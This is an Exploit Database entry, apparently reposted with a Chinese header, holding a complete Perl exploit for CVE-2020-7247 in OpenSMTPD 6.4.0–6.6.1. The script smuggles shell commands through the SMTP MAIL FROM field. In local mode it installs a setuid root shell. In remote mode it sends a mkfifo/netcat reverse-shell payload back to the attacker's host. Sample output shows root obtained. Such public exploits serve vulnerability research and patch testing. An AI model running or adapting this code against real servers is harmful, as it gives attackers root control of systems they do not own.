OpenSMTPD 6.4.0 < 6.6.1 - Local Privilege Escalation + Remote Code Execution

Exploit Database
119 阅读

作者： Marco Ivaldi

日期： 2020-02-11
类别：
- remote
平台：
- openbsd
来源：https://www.exploit-db.com/exploits/48051/

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# Exploit Title: OpenSMTPD 6.6.1 - Local Privilege Escalation

# Date: 2020-02-02

# Exploit Author: Marco Ivaldi

# Vendor Homepage: https://www.opensmtpd.org/

# Version: OpenSMTPD 6.4.0 - 6.6.1

# Tested on: OpenBSD 6.6, Debian GNU/Linux bullseye/sid with opensmtpd 6.6.1p1-1

# CVE: CVE-2020-7247

#!/usr/bin/perl

# raptor_opensmtpd.pl - LPE and RCE in OpenBSD's OpenSMTPD

# smtp_mailaddr in smtp_session.c in OpenSMTPD 6.6, as used in OpenBSD 6.6 and

# other products, allows remote attackers to execute arbitrary commands as root

# via a crafted SMTP session, as demonstrated by shell metacharacters in a MAIL

# FROM field. This affects the "uncommented" default configuration. The issue

# exists because of an incorrect return value upon failure of input validation

# (CVE-2020-7247).

# "Wow. I feel all butterflies in my tummy that bugs like this still exist.

# That's awesome :)" -- skyper

# This exploit targets OpenBSD's OpenSMTPD in order to escalate privileges to

# root on OpenBSD in the default configuration, or execute remote commands as

# root (only in OpenSMTPD "uncommented" default configuration).

# See also:

# https://www.qualys.com/2020/01/28/cve-2020-7247/lpe-rce-opensmtpd.txt

# https://poolp.org/posts/2020-01-30/opensmtpd-advisory-dissected/

# https://www.kb.cert.org/vuls/id/390745/

# https://www.opensmtpd.org/security.html

# Usage (LPE):

# phish$ uname -a

# OpenBSD phish.fnord.st 6.6 GENERIC#353 amd64

# phish$ id

# uid=1000(raptor) gid=1000(raptor) groups=1000(raptor), 0(wheel)

# phish$ ./raptor_opensmtpd.pl LPE

# [...]

# Payload sent, please wait 5 seconds...

# -rwsrwxrwx1 rootwheel12432 Feb1 21:20 /usr/local/bin/pwned

# phish# id

# uid=0(root) gid=0(wheel) groups=1000(raptor), 0(wheel)

# Usage (RCE):

# raptor@eris ~ % ./raptor_opensmtpd.pl RCE 10.0.0.162 10.0.0.24 example.org

# [...]

# Payload sent, please wait 5 seconds...

# /bin/sh: No controlling tty (open /dev/tty: Device not configured)

# /bin/sh: Can't find tty file descriptor

# /bin/sh: warning: won't have full job control

# phish# id

# uid=0(root) gid=0(wheel) groups=0(wheel)

# Vulnerable platforms (OpenSMTPD 6.4.0 - 6.6.1):

# OpenBSD 6.6 [tested]

# OpenBSD 6.5 [untested]

# OpenBSD 6.4 [untested]

# Debian GNU/Linux bullseye/sid with opensmtpd 6.6.1p1-1 [tested]

# Other Linux distributions [untested]

# FreeBSD [untested]

# NetBSD [untested]

use IO::Socket::INET;

print "raptor_opensmtpd.pl - LPE and RCE in OpenBSD's OpenSMTPD\n";

$usage = "Usage:\n".

"$0 LPE\n".

"$0 RCE <remote_host> <local_host> [<domain>]\n";

$lport = 4444;

($type, $rhost, $lhost, $domain) = @ARGV;

die $usage if (($type ne "LPE") && ($type ne "RCE"));

# Prepare the payload

if ($type eq "LPE") { # LPE

$payload = "cp /bin/sh /usr/local/bin/pwned\n".

"echo 'main(){setuid(0);setgid(0);system(\"/bin/sh\");}' > /tmp/pwned.c\n".

"gcc /tmp/pwned.c -o /usr/local/bin/pwned\nchmod 4777 /usr/local/bin/pwned";

$rhost = "127.0.0.1";

} else { # RCE

die $usage if ((not defined $rhost) || (not defined $lhost));

$payload = "sleep 5;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|".

"nc $lhost $lport >/tmp/f";

}

# Open SMTP connection

$| = 1;

$s = IO::Socket::INET->new("$rhost:25") or die "Error: $@\n";

# Read SMTP banner

$r = <$s>;

print "< $r";

die "Error: this is not OpenSMTPD\n" if ($r !~ /OpenSMTPD/);

# Send HELO

$w = "HELO fnord";

print "> $w\n";

print $s "$w\n";

$r = <$s>;

print "< $r";

die "Error: expected 250\n" if ($r !~ /^250/);

# Send evil MAIL FROM

$w = "MAIL FROM:<;for i in 0 1 2 3 4 5 6 7 8 9 a b c d;do read r;done;sh;exit 0;>";

print "> $w\n";

print $s "$w\n";

$r = <$s>;

print "< $r";

die "Error: expected 250\n" if ($r !~ /^250/);

# Send RCPT TO

if (not defined $domain) {

$rcpt = "<root>";

} else {

$rcpt = "<root\@$domain>";

}

$w = "RCPT TO:$rcpt";

print "> $w\n";

print $s "$w\n";

$r = <$s>;

print "< $r";

die "Error: expected 250\n" if ($r !~ /^250/);

# Send payload in DATA

$w = "DATA";

print "> $w\n";

print $s "$w\n";

$r = <$s>;

print "< $r";

$w = "\n#0\n#1\n#2\n#3\n#4\n#5\n#6\n#7\n#8\n#9\n#a\n#b\n#c\n#d\n$payload\n.";

#print "> $w\n"; # uncomment for debugging

print $s "$w\n";

$r = <$s>;

print "< $r";

die "Error: expected 250\n" if ($r !~ /^250/);

# Close SMTP connection

$s->close();

print "\nPayload sent, please wait 5 seconds...\n";

# Got root?

if ($type eq "LPE") { # LPE

sleep 5;

print <code>ls -l /usr/local/bin/pwned</code>;

exec "/usr/local/bin/pwned" or die "Error: exploit failed :(\n";

} else { # RCE

exec "nc -vl $lport" or die "Error: unable to execute netcat\n"; # BSD netcat

#exec "nc -vlp $lport" or die "Error: unable to execute netcat\n"; # Debian netcat

}